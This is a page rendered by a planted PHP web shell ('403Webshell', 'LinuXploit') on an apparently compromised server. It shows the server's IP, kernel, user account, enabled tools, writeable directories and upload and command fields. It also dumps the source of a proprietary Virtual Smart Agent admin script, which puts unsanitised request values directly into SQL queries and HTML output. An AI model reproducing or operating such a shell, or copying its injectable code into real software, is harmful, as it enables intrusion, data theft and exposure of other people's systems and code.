403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usagrantapplications.org/vsa/boxes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usagrantapplications.org/vsa/boxes/picseditbox.php
<?php
/*
Copyright (c) 2007-present InnAnTech Industries
Author: Dave Guindon
Web: www.VirtualSmartAgent.com
Support: www.DaveGuindonSupport.com

Please send bug reports, suggestions and/or feedback to the support
website given above.

Virtual Smart Agent is a commercial software. Any distribution is strictly prohibited
unless a resale rights license was delivered along with this software.
*/

include('../modfiles/db.php');
include('../globals.php');
include('boxfunctions.php');

$conn = mysql_connect("$dbhost", "$dblogin", "$dbpass") or die ('ERROR');
mysql_select_db($dbname, $conn);

$picid = $_GET['picid'];
$sql = "SELECT * FROM $agentpicsTable WHERE id='$picid'";
$result = mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
$data = mysql_fetch_assoc($result);
$label = $data['label'];
$location = $data['location'];
$imglocation = '<img src="'.$location.'" border="0" width="150" height="220">';   

//update or add new agent
$actionbutton = $_POST['actionbutton'];
if ($actionbutton){

  //validate inputs
  $label = $_POST['label']; 
  $picid = $_POST['picid'];
  
  //need to check for label first then continue
  if ((!isset($label))||($label=='')){
 	$show = 'The picture label was not entered<br /><br />';
	$show .= '<a href="picseditbox.php?picid='.$picid.'">Click Here to Go Back</a>';
  	$show = '<span style="color: #FF0000">'.$show.'</span>';	 
  }else{
    $sql = "UPDATE $agentpicsTable SET label='$label' WHERE id='$picid'";
    mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';  
  
    $show .= 'The agent picture label has been updated.<br /><br />';
	$show .= '<a href="../agents.php" target="_parent">click here to continue</a>';
	$show = '<center>'.$show.'</center>';  
  }
  $show = '<table width="100%" cellspacing="0" cellpadding="10"><tr><td>'.$show.'</td></tr></table>';
  $hide1 = '<!--';
  $hide2 = '-->';  
}

//delete agent
$deletebutton = $_POST['deletebutton'];
if ($deletebutton){
  $label = $_POST['label'];
  $picid = $_POST['picid'];

  //check if agents are already assigned this pic id
  $sql = "SELECT * FROM $agentsTable WHERE picid='$picid'";
  $result = mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
  $nc = mysql_num_rows($result);      
  
  //check if there are any agent pics in the database
  $sql = "SELECT * FROM $agentpicsTable";
  $result = mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
  $nnc = mysql_num_rows($result); 
  
  if ($nc > 0){
    $show = 'Sorry but this agent picture has already been assigned to one or more agents in one or more campaigns. ';
	$show .= 'You must assign a different agent picture to agents that have been assigned this picture and ';
	$show .= 'then remove this picture afterwards.<br /><br />';
	$show .= '<a href="picseditbox.php?picid='.$picid.'">Click Here to Go Back</a>';
  	$show = '<span style="color: #FF0000">'.$show.'</span>';
  }else if ($nnc == 1){
    $show = 'Sorry but you cannot delete this agent picture because there must be at least one picture in the system.<br /><br />';
	$show .= '<a href="../agents.php" target="_parent">click here to continue</a>';
  	$show = '<span style="color: #FF0000">'.$show.'</span>';  
  }else{
    //delete this agent picture from the database
    $sql = "DELETE FROM $agentpicsTable WHERE id='$picid'";
    mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';         
  
    $show = 'The agent pitcure <font color="#0000FF">'.$label.'</font> has been removed.<br /><br />';
	$show .= '<a href="../agents.php" target="_parent">click here to continue</a>';
	$show = '<center>'.$show.'</center>';    
  }
  $show = '<table width="100%" cellspacing="0" cellpadding="10"><tr><td>'.$show.'</td></tr></table>';
  $hide1 = '<!--';
  $hide2 = '-->';
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<LINK href="style.css" type=text/css rel=stylesheet>
<title>campaign</title>
<script language="JavaScript">
function deleteClient(){  
  var m = 'WARNING: Are you sure you want to remove this agent picture?'+"\n";
  m = m + 'Click "OK" to remove.'+"\n";  
  var agree=confirm(m);
  if (agree)
	return true;
  else
	return false;
}
</script>
</head>

<body>
<?php echo $show; ?>
<?php echo $hide1; ?>
<form action="picseditbox.php" method="post"> 
<input type="hidden" name="picid" value="<?php echo $picid; ?>" />
<input type="hidden" name="label" value="<?php echo $label; ?>" />
<table width="337" border="0" align="center" cellpadding="10" cellspacing="0">
  <tr>
    <td width="317"><table width="100%" border="0" cellspacing="1" cellpadding="2">
      <tr>
        <td colspan="2" valign="top"><div align="center"><strong><?php echo $boxtitle; ?></strong></div></td>
        </tr>
      <tr>
        <td width="35%" valign="top" nowrap="nowrap" bgcolor="#E9E9E9"><div align="right">Picture label:</div></td>
        <td width="65%" bgcolor="#E9E9E9"><input name="label" type="text" id="label" style="width: 200px" value="<?php echo $label; ?>" /></td>
      </tr>
      <tr>
        <td valign="top" bgcolor="#E9E9E9"><div align="right">Image:</div></td>
        <td bgcolor="#E9E9E9">
          <div align="center"><?php echo $imglocation; ?></div><div align="center"></div></td>
      </tr>
      <tr>
        <td colspan="2" bgcolor="#E9E9E9"><table width="100" border="0" align="center" cellpadding="1" cellspacing="0">
          <tr>
            <td><input type="submit" name="actionbutton" value="Update Picture Label" style="width: 140px" /></td>
            <td><input type="submit" name="deletebutton" value="Remove Picture" onclick="if(!deleteClient()) return false;" style="width: 110px" /></td>
            <td><input type="submit" id="Login" value="Cancel" onclick="self.parent.tb_remove();" style="width: 55px" /></td>
          </tr>
        </table></td>
      </tr>

    </table>
    </td>
  </tr>
</table>
</form>
<?php echo $hide2; ?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit